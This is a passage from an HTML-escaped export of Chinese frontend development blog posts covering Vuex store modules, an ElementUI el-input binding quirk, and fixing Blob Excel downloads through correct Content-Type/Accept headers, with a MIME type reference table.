class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e auth;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后在index.js中这么导入模块:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vue\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;vuex\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e modules \u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;./modules\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"title class_\"\u003eVue\u003c/span\u003e.\u003cspan class=\"title function_\"\u003euse\u003c/span\u003e(\u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e store = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eVuex\u003c/span\u003e.\u003cspan class=\"title class_\"\u003eStore\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eplugins\u003c/span\u003e: [localStoragePlugin]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e});\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eexport\u003c/span\u003e \u003cspan class=\"keyword\"\u003edefault\u003c/span\u003e store;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种结构便于我们维护前端的数据模型。\u003c/p\u003e\u003ch2 id=\"ElementUI\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#ElementUI\" class=\"headerlink\" title=\"ElementUI\"\u003e\u003c/a\u003eElementUI\u003c/h2\u003e\u003ch3 id=\"el-input的输入问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#el-input%E7%9A%84%E8%BE%93%E5%85%A5%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"el-input的输入问题\"\u003e\u003c/a\u003eel-input的输入问题\u003c/h3\u003e\u003cp\u003e遇到过一次输入框无法输入的问题。查看了下\u003ca href=\"https://element-plus.gitee.io/zh-CN/component/input.html#input-%E8%BE%93%E5%85%A5%E6%A1%86\"\u003e官方文档\u003c/a\u003e发现是设计特性。正常来说,Input总是会响应输入事件,但是\u003cstrong\u003eel-input是受控组件,所以它总是会更优先保证显示v-model绑定的数据值\u003c/strong\u003e。这也就是为什么输入不会被正常响应的原因:没有给它加\u003ccode\u003ev-model\u003c/code\u003e,或者绑定了不存在/错误的对象。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e不过我绑定不存在元素的时候居然没有报错,神奇……\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/"},{"title":"关于前端Blob下载那点事","time":"2023-07-11T14:16:38Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"背景\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E8%83%8C%E6%99%AF\" class=\"headerlink\" title=\"背景\"\u003e\u003c/a\u003e背景\u003c/h2\u003e\u003cp\u003e最近做一个项目,后端返回一个Excel表格给前端下载,前端应该使用Blob将文件保存并下载下来。可是前端这里试了半天,数据大小没问题,就是一直下不下来。后来解决了好几个问题之后才成功解决了这个下载问题。\u003c/p\u003e\u003ch2 id=\"问题1-请求头\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%981-%E8%AF%B7%E6%B1%82%E5%A4%B4\" class=\"headerlink\" title=\"问题1-请求头\"\u003e\u003c/a\u003e问题1-请求头\u003c/h2\u003e\u003cp\u003e查找相关资料后,发现似乎错误的请求头是引发这个问题的一个原因。随后就改了请求部分的代码,加上了请求头的配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;xxx\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是这样不仅下载的内容打不开,而且下载本身还报错了:\u003cstrong\u003eHTTP 415:Unsupported Media Type\u003c/strong\u003e。它的简介如下:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e415 Unsupported Media Type\u003c/code\u003e\u003c/strong\u003e 是一种 HTTP 协议的错误状态代码,表示服务器由于不支持其有效载荷的格式,从而拒绝接受客户端的请求。\u003c/p\u003e\u003cp\u003e格式问题的出现有可能源于客户端在 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type\"\u003e\u003ccode\u003eContent-Type\u003c/code\u003e\u003c/a\u003e 或 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding\"\u003e\u003ccode\u003eContent-Encoding\u003c/code\u003e\u003c/a\u003e 首部中指定的格式,也可能源于直接对负载数据进行检测的结果。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因此很明显,我应该是设置错了HTTP请求标头。于是查阅了HTTP请求标头的几个字段,发现我应该是搞反了\u003ccode\u003eContent-Type\u003c/code\u003e和\u003ccode\u003eAccept\u003c/code\u003e的意思。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eContent-Type\u003c/strong\u003e:自己发送给对方的内容的MIME类型\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eAccept\u003c/strong\u003e:自己能接受的内容的MIME类型\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e常见的MIME类型( \u003cstrong\u003eMultipurpose Internet Mail Extensions,媒体类型\u003c/strong\u003e)如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e扩展名\u003c/th\u003e\u003cth\u003e文档类型\u003c/th\u003e\u003cth\u003eMIME 类型\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.aac\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAAC audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/aac\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.abw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/AbiWord\"\u003eAbiWord\u003c/a\u003e document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-abiword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.arc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eArchive document (multiple files embedded)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-freearc\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.avi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAVI: Audio Video Interleave\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/x-msvideo\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.azw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAmazon Kindle eBook format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.amazon.ebook\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bin\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAny kind of binary data\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/octet-stream\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bmp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWindows OS/2 Bitmap Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/bmp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip2 archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eC-Shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-csh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.css\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eCascading Style Sheets (CSS)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/css\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eComma-separated values (CSV)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/csv\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.doc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/msword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.docx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.wordprocessingml.document\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.eot\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMS Embedded OpenType fonts\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-fontobject\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.epub\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eElectronic publication (EPUB)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/epub+zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.gif\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eGraphics Interchange Format (GIF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/gif\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.htm .html\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eHyperText Markup Language (HTML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/html\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ico\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eIcon format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/vnd.microsoft.icon\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ics\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eiCalendar format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/calendar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJava Archive (JAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/java-archive\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jpeg\u003c/code\u003e \u003ccode\u003e.jpg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJPEG images\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/jpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.js\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.json\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jsonld\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON-LD format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ld+json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mid\u003c/code\u003e \u003ccode\u003e.midi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMusical Instrument Digital Interface (MIDI)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/midi\u003c/code\u003e \u003ccode\u003eaudio/x-midi\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mjs\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript module\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mp3\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMP3 audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpeg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMPEG Video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpkg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eApple Installer Package\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.apple.installer+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument presentation document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ods\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument spreadsheet document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.spreadsheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument text document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.text\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.oga\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.otf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenType font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/otf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.png\u003c/code\u003e\u003c/td\u003e\u003ctd\u003ePortable Network Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/png\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pdf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAdobe \u003ca href=\"https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html\"\u003ePortable Document Format\u003c/a\u003e (PDF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/pdf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ppt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-powerpoint\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pptx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.presentationml.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRAR archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-rar-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rtf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRich Text Format (RTF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/rtf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.sh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBourne shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-sh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.svg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eScalable Vector Graphics (SVG)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/svg+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.swf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/SWF\"\u003eSmall web format\u003c/a\u003e (SWF) or Adobe Flash document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-shockwave-flash\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTape Archive 